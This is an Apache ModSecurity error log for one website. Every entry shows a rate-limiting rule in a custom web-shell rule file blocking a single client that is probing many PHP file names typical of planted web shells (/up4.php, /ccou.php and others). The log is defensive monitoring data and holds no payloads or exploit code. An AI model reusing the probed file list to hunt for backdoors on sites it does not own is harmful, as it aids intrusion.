[Sat Feb 28 11:40:35.313130 2026] [:error] [pid 39292:tid 39309] [client 20.104.82.189:6472] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaJjs6IAO5fN7BxyqcGzkwAAAM8"]
[Sat Feb 28 11:40:35.737716 2026] [:error] [pid 39185:tid 39253] [client 20.104.82.189:6213] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaJjsxVE-FfM89u7BQZ9JwAAAIc"]
[Sat Feb 28 11:40:36.155138 2026] [:error] [pid 39185:tid 39260] [client 20.104.82.189:6423] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aaJjtBVE-FfM89u7BQZ9KQAAAI4"]
[Sat Feb 28 11:40:36.571022 2026] [:error] [pid 11791:tid 11798] [client 20.104.82.189:6487] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aaJjtGuX5e1Q32gqxH3uZAAAAQU"]
[Sat Feb 28 11:40:36.985487 2026] [:error] [pid 39185:tid 39259] [client 20.104.82.189:6557] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aaJjtBVE-FfM89u7BQZ9KwAAAI0"]
[Sat Feb 28 11:40:37.399631 2026] [:error] [pid 39185:tid 39250] [client 20.104.82.189:6485] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aaJjtRVE-FfM89u7BQZ9LgAAAIQ"]
[Sat Feb 28 11:40:37.812386 2026] [:error] [pid 39292:tid 39311] [client 20.104.82.189:6521] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aaJjtaIAO5fN7BxyqcGzlgAAANE"]
[Sat Feb 28 11:40:38.225153 2026] [:error] [pid 39292:tid 39316] [client 20.104.82.189:6195] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aaJjtqIAO5fN7BxyqcGzlwAAANY"]
[Sat Feb 28 11:40:38.642044 2026] [:error] [pid 52460:tid 52485] [client 20.104.82.189:6403] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aaJjtrLWOogAgHGh62TgngAAAZY"]
[Sat Feb 28 11:40:39.053161 2026] [:error] [pid 39184:tid 39239] [client 20.104.82.189:6437] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class9.php"] [unique_id "aaJjt1tZF9Zd_U7easDHjQAAAFQ"]
[Sat Feb 28 11:40:39.463732 2026] [:error] [pid 52460:tid 52465] [client 20.104.82.189:6219] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaJjt7LWOogAgHGh62TgpAAAAYI"]
[Sat Feb 28 11:40:39.873229 2026] [:error] [pid 52460:tid 52473] [client 20.104.82.189:6217] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaJjt7LWOogAgHGh62TgqAAAAYo"]
[Sat Feb 28 11:40:40.287787 2026] [:error] [pid 52460:tid 52482] [client 20.104.82.189:6576] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaJjuLLWOogAgHGh62TgrAAAAZM"]
[Sat Feb 28 11:40:40.709599 2026] [:error] [pid 52460:tid 52475] [client 20.104.82.189:6510] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaJjuLLWOogAgHGh62TgsQAAAYw"]
[Sat Feb 28 11:40:41.124026 2026] [:error] [pid 39185:tid 39255] [client 20.104.82.189:6244] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aaJjuRVE-FfM89u7BQZ9MwAAAIk"]
[Sat Feb 28 11:40:41.539213 2026] [:error] [pid 39185:tid 39265] [client 20.104.82.189:6212] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aaJjuRVE-FfM89u7BQZ9NQAAAJM"]
[Sat Feb 28 11:40:41.953980 2026] [:error] [pid 39185:tid 39254] [client 20.104.82.189:6545] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aaJjuRVE-FfM89u7BQZ9NgAAAIg"]
[Sat Feb 28 11:40:42.368015 2026] [:error] [pid 39184:tid 39227] [client 20.104.82.189:6550] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aaJjultZF9Zd_U7easDHjwAAAEg"]
[Sat Feb 28 11:40:42.787029 2026] [:error] [pid 52460:tid 52477] [client 20.104.82.189:6458] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaJjurLWOogAgHGh62TgvwAAAY4"]
[Sat Feb 28 11:40:43.199781 2026] [:error] [pid 52460:tid 52466] [client 20.104.82.189:6236] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaJju7LWOogAgHGh62TgwwAAAYM"]
[Sat Feb 28 11:40:43.608686 2026] [:error] [pid 22194:tid 22211] [client 20.104.82.189:6636] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaJju36mbajs3bzQGysnwAAAAU8"]
[Sat Feb 28 11:40:44.022901 2026] [:error] [pid 11791:tid 11793] [client 20.104.82.189:6552] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaJjvGuX5e1Q32gqxH3ubQAAAQA"]
[Sat Feb 28 11:40:44.443974 2026] [:error] [pid 52460:tid 52464] [client 20.104.82.189:6451] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaJjvLLWOogAgHGh62TgzAAAAYE"]
[Sat Feb 28 11:40:44.858159 2026] [:error] [pid 52460:tid 52477] [client 20.104.82.189:6602] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaJjvLLWOogAgHGh62Tg0AAAAY4"]
[Sat Feb 28 11:40:45.268751 2026] [:error] [pid 39292:tid 39305] [client 20.104.82.189:6214] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaJjvaIAO5fN7BxyqcGznAAAAMs"]
[Sat Feb 28 11:40:45.682541 2026] [:error] [pid 52460:tid 52486] [client 20.104.82.189:6173] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaJjvbLWOogAgHGh62Tg2wAAAZc"]
[Sat Feb 28 11:40:46.099029 2026] [:error] [pid 39292:tid 39303] [client 20.104.82.189:6464] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaJjvqIAO5fN7BxyqcGznQAAAMk"]
[Sat Feb 28 11:40:46.508922 2026] [:error] [pid 39292:tid 39300] [client 20.104.82.189:6522] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaJjvqIAO5fN7BxyqcGzngAAAMY"]
[Sat Feb 28 11:40:46.920680 2026] [:error] [pid 39292:tid 39301] [client 20.104.82.189:6430] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaJjvqIAO5fN7BxyqcGznwAAAMc"]
[Sat Feb 28 11:40:47.334758 2026] [:error] [pid 39184:tid 39241] [client 20.104.82.189:6243] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaJjv1tZF9Zd_U7easDHkAAAAFY"]
[Sat Feb 28 11:40:47.750063 2026] [:error] [pid 11791:tid 11800] [client 20.104.82.189:6593] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaJjv2uX5e1Q32gqxH3ucQAAAQc"]
[Sat Feb 28 11:40:48.159194 2026] [:error] [pid 39292:tid 39312] [client 20.104.82.189:6512] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaJjwKIAO5fN7BxyqcGzogAAANI"]
[Sat Feb 28 11:40:48.572788 2026] [:error] [pid 39185:tid 39250] [client 20.104.82.189:6155] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaJjwBVE-FfM89u7BQZ9PAAAAIQ"]
[Sat Feb 28 11:40:49.008807 2026] [:error] [pid 11791:tid 11803] [client 20.104.82.189:6166] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaJjwWuX5e1Q32gqxH3ucwAAAQo"]
[Sat Feb 28 11:40:49.427848 2026] [:error] [pid 39292:tid 39317] [client 20.104.82.189:6208] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaJjwaIAO5fN7BxyqcGzpQAAANc"]
[Sat Feb 28 11:40:49.844745 2026] [:error] [pid 39183:tid 39210] [client 20.104.82.189:6553] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaJjwRCf4HvhVePw3LbZ-QAAABI"]
[Sat Feb 28 11:40:50.259659 2026] [:error] [pid 52460:tid 52476] [client 20.104.82.189:6278] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaJjwrLWOogAgHGh62Tg-gAAAY0"]
[Sat Feb 28 11:40:50.669951 2026] [:error] [pid 52460:tid 52481] [client 20.104.82.189:6518] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaJjwrLWOogAgHGh62Tg_wAAAZI"]
[Sat Feb 28 11:40:51.080003 2026] [:error] [pid 52460:tid 52474] [client 20.104.82.189:6453] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaJjw7LWOogAgHGh62ThAwAAAYs"]
[Sat Feb 28 11:40:51.494064 2026] [:error] [pid 52460:tid 52469] [client 20.104.82.189:6422] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaJjw7LWOogAgHGh62ThCQAAAYY"]
[Sat Feb 28 11:40:51.923722 2026] [:error] [pid 39185:tid 39266] [client 20.104.82.189:6188] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaJjwxVE-FfM89u7BQZ9PgAAAJQ"]
[Sat Feb 28 11:40:52.339170 2026] [:error] [pid 52460:tid 52487] [client 20.104.82.189:6176] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaJjxLLWOogAgHGh62ThEgAAAZg"]
[Sat Feb 28 11:40:52.748505 2026] [:error] [pid 39292:tid 39306] [client 20.104.82.189:6518] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aaJjxKIAO5fN7BxyqcGzqQAAAMw"]
[Sat Feb 28 11:40:53.161107 2026] [:error] [pid 11791:tid 11807] [client 20.104.82.189:6504] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aaJjxWuX5e1Q32gqxH3ueAAAAQ4"]
[Sat Feb 28 11:40:53.577604 2026] [:error] [pid 39185:tid 39252] [client 20.104.82.189:6435] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aaJjxRVE-FfM89u7BQZ9QAAAAIY"]
[Sat Feb 28 11:40:53.988866 2026] [:error] [pid 11791:tid 11806] [client 20.104.82.189:6289] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aaJjxWuX5e1Q32gqxH3ufAAAAQ0"]
[Sat Feb 28 11:40:54.402486 2026] [:error] [pid 39292:tid 39294] [client 20.104.82.189:6300] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aaJjxqIAO5fN7BxyqcGzqgAAAMA"]
[Sat Feb 28 11:40:54.814166 2026] [:error] [pid 39185:tid 39246] [client 20.104.82.189:6215] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aaJjxhVE-FfM89u7BQZ9SAAAAIA"]
[Sat Feb 28 11:40:55.225181 2026] [:error] [pid 39185:tid 39259] [client 20.104.82.189:6156] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aaJjxxVE-FfM89u7BQZ9SQAAAI0"]
[Sat Feb 28 11:40:55.637087 2026] [:error] [pid 52460:tid 52476] [client 20.104.82.189:6566] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aaJjx7LWOogAgHGh62ThKQAAAY0"]
[Sat Feb 28 11:40:56.051448 2026] [:error] [pid 52460:tid 52484] [client 20.104.82.189:6523] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aaJjyLLWOogAgHGh62ThLgAAAZU"]
[Sat Feb 28 11:40:56.466849 2026] [:error] [pid 52460:tid 52482] [client 20.104.82.189:6551] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aaJjyLLWOogAgHGh62ThMgAAAZM"]
[Sat Feb 28 11:40:56.876852 2026] [:error] [pid 39183:tid 39214] [client 20.104.82.189:6147] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aaJjyBCf4HvhVePw3LbZ-gAAABY"]
[Sat Feb 28 11:40:57.289299 2026] [:error] [pid 39185:tid 39265] [client 20.104.82.189:6193] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aaJjyRVE-FfM89u7BQZ9UAAAAJM"]
[Sat Feb 28 11:40:57.701490 2026] [:error] [pid 39185:tid 39248] [client 20.104.82.189:6158] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aaJjyRVE-FfM89u7BQZ9UwAAAII"]
[Sat Feb 28 11:40:58.112065 2026] [:error] [pid 39185:tid 39246] [client 20.104.82.189:6565] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aaJjyhVE-FfM89u7BQZ9VQAAAIA"]
[Sat Feb 28 11:40:58.524159 2026] [:error] [pid 52460:tid 52479] [client 20.104.82.189:6153] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aaJjyrLWOogAgHGh62ThQAAAAZA"]
